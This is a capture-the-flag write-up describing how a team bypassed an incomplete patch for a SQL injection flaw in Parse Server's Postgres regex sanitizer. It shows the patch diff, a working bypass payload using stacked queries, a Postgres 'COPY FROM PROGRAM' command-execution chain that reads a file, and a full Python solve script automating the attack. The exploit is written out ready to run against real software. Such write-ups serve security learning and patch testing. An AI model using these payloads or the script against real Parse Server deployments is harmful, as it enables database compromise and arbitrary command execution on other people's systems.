Writeup - Deutsche Hacking Meisterschaft 2024: Parse my Postgres
A web challenge by 0x4D5A, solved by Vincent, Sven and Trayshar
Challenge
Ever found an 0-day in a 20k stars GitHub project? You can do now! A recent security advisory of the Parse Server disclosed a critical SQL injection vulnerability. The mitigation:
The algorithm to detect SQL injection has been improved.
Can you beat the algorithm?
P.S. The issue has been reported to the vendor. Please do not share your solution publicly until a fix has been released. Thanks 🙏
We are only given a docker-compose file, which sets up a Parse Server and a Postgres database, but from the description, we already know that we are looking for a recently “fixed” SQL injection vulnerability.
1version: '3.3'
2services:
3 postgres:
4 image: postgres:13-alpine
5 ports:
6 - 5432:5432
7 volumes:
8 - ~/apps/postgres:/var/lib/postgresql/data
9 environment:
10 - POSTGRES_PASSWORD=S3cret
11 - POSTGRES_USER=citizix_user
12 - POSTGRES_DB=citizix_db
13 - POSTGRES_MULTIPLE_EXTENSIONS=postgis,hstore,postgis_topology,postgis_raster,pgrouting
14 entrypoint: ["/bin/bash", "-c", "echo FAKEFLAG > /flag.txt; cd /usr/local/bin/; ./docker-entrypoint.sh postgres"]
15
16 parse-server:
17 image: parseplatform/parse-server:7.1.0-alpha.10
18 ports:
19 - 1337:1337
20 environment:
21 - PARSE_SERVER_APPLICATION_ID=parse
22 - PARSE_SERVER_MASTER_KEY=parse@master123! …
From the docker-compose file, we can see that the Parse Server is connected to a Postgres database and that the Parse Server is accessible on port 1337.
We also see that simply gaining access to the Postgres database is not enough to solve the challenge, as the flag is written to a file in the Postgres container.
Exploration
Parse Server is a Node.js application that provides a REST API to interact with a database. When looking for recent SQL injection vulnerabilities, we find this report and this report. Both are quite similar, and as it turns out, the fix for the later had a vulnerability that is tracked in the former.
Looking for this still-vulnerable fix, we find this commit mentioning an “improved algorithm to detect SQL injection”.
1diff --git a/src/Adapters/Storage/Postgres/PostgresStorageAdapter.js b/src/Adapters/Storage/Postgres/PostgresStorageAdapter.js
2index 3ad59ec77f..efbe985bf9 100644
3--- a/src/Adapters/Storage/Postgres/PostgresStorageAdapter.js
4+++ b/src/Adapters/Storage/Postgres/PostgresStorageAdapter.js
5@@ -2656,7 +2656,7 @@ function literalizeRegexPart(s: string) {
6 .replace(/([^\\])(\\Q)/, '$1')
7 .replace(/^\\E/, '')
8 .replace(/^\\Q/, '')
9- .replace(/([^'])'/, `$1''`)
10+ .replace(/([^'])'/g, `$1''`)
11 .replace(/^'([^'])/, `''$1`);
12 }
In terms of changes, we can see that the regex to escape strings now uses the g
flag to match all occurrences of the pattern instead of just the first one.
This results in appending a single quote to any other single quote that is not already preceeded by a single quote, e.g. test'
becomes test''
while test''
remains unchanged. This is expected behaviour as ''
is already escaped.
The commit also conveniently provides a test case that includes a sample payload for the original SQL injection vulnerability.
1diff --git a/spec/vulnerabilities.spec.js b/spec/vulnerabilities.spec.js
2index 9bfafcffcb..c0f519e78d 100644
3--- a/spec/vulnerabilities.spec.js
4+++ b/spec/vulnerabilities.spec.js
5@@ -433,3 +433,28 @@ describe('Vulnerabilities', () => {
6 });
7 });
8 });
9+
10+describe('Postgres regex sanitizater', () => {
11+ it('sanitizes the regex correctly to prevent Injection', async () => {
12+ const user = new Parse.User();
13+ user.set('username', 'username');
14+ user.set('password', 'password');
15+ user.set('email', 'email@example.com');
16+ await user.signUp();
17+
18+ const response = await request({
19+ method: 'GET',
20+ url:
21+ "http://localhost:8378/1/classes/_User?where[username][$regex]=A'B'%3BSELECT+PG_SLEEP(3)%3B--",
22+ headers: {
23+ 'Content-Type': 'application/json',
24+ 'X-Parse-Application-Id': 'test',
25+ 'X-Parse-REST-API-Key': 'rest',
26+ },
27+ });
28+
29+ expect(response.status).toBe(200);
30+ expect(response.data.results).toEqual(jasmine.any(Array));
31+ expect(response.data.results.length).toBe(0);
32+ });
33+});
We can verify that the fix addresses the initial proof of concept for the vulnerability by sending the same payload to the Parse Server, which we can launch using the provided docker-compose file.
Exploitation
In reviewing the patch, we noticed that the first replace
call is now global, while the second one remains unchanged.
While the original payload (http://localhost:1337/1/classes/_User?where[username][$regex]=A'B'%3BSELECT+PG_SLEEP(3)%3B--
) is successfully escaped, we can still inject SQL using a payload that contains a single quote, followed by other characters, and then another single quote.
Since the second replace
call only replaces the first occurrence of a single quote followed by something else, this won’t be escaped!
1-GET http://localhost:1337/1/classes/_User?where[username][$regex]=A'B'%3BSELECT+PG_SLEEP(3)%3B--
2+GET http://localhost:1337/parse/classes/_User?where[username][\$regex]=A'B''%3BSELECT+PG_SLEEP(3)%3B--
Our new payload arrives at the Postgres database as follows and beautifully waits for 3 seconds:
1SELECT * FROM "_User" WHERE "username" ~ 'A''B''';SELECT PG_SLEEP(3);--;' AND ("_rperm" IS NULL OR "_rperm" && ARRAY['*','*']) LIMIT 100`
From SQL Injection to Remote Code Execution
Now that we have an SQL injection, we can use it to execute arbitrary code on the Postgres database. This came with the unexpected challenge that we couldn’t directly use single quotes in our payload, as they were being escaped by the Parse Server.
However, this could be avoided by using Postgres dollar-quoting which allows us to use $$
as a delimiter for strings.
After this recovery, we can use a typical Postgres RCE payload to read the flag from the file system.
1DROP TABLE IF EXISTS cmd;
2CREATE TABLE cmd(command TEXT);
3COPY cmd FROM PROGRAM $$cat /flag.txt$$;
4SELECT * FROM cmd;
The server responds with the flag:
1{"results":[{"command":"DHM{r3gex_s4nitizing_1s_r3ally_a_bad_idea...}"}]}
Final Thoughts
Finding the weakness in the patch and working around it was a fun challenge. We were able to exploit the SQL injection vulnerability to execute arbitrary code on the Postgres database and read the flag. Remember to always test your patches thoroughly! This was also the first time we got first-blood in an on-site ctf, which was a great experience!
Solve Script
1#!/usr/bin/env python3
2import requests
3
4HOST = 'https://7141357e6012ef95722ca7bd-1337-parse-my-postgres.challenges.dhm-ctf.de/'
5HEADERS = {
6 "X-Parse-REST-API-Key": "ANY_VALUE",
7 "X-Parse-Application-Id": "parse",
8 "X-Parse-Revocable-Session": "1",
9 "Content-Type": "application/json"
10}
11
12shell_commands =[
13 f"DROP TABLE IF EXISTS cmd;",
14 f"CREATE TABLE cmd(command TEXT);",
15 f"COPY cmd FROM PROGRAM $$cat /flag.txt$$;",
16 f"SELECT * FROM cmd;"
17]
18
19for command in shell_commands:
20 encoded_command = requests.utils.quote(command)
21 payload = f"""{HOST}parse/classes/_User?where[username][$regex]=A'B''%3B{encoded_command}%3B--;"""
22
23 response = requests.get(payload, headers=HEADERS)
24 print(response.text)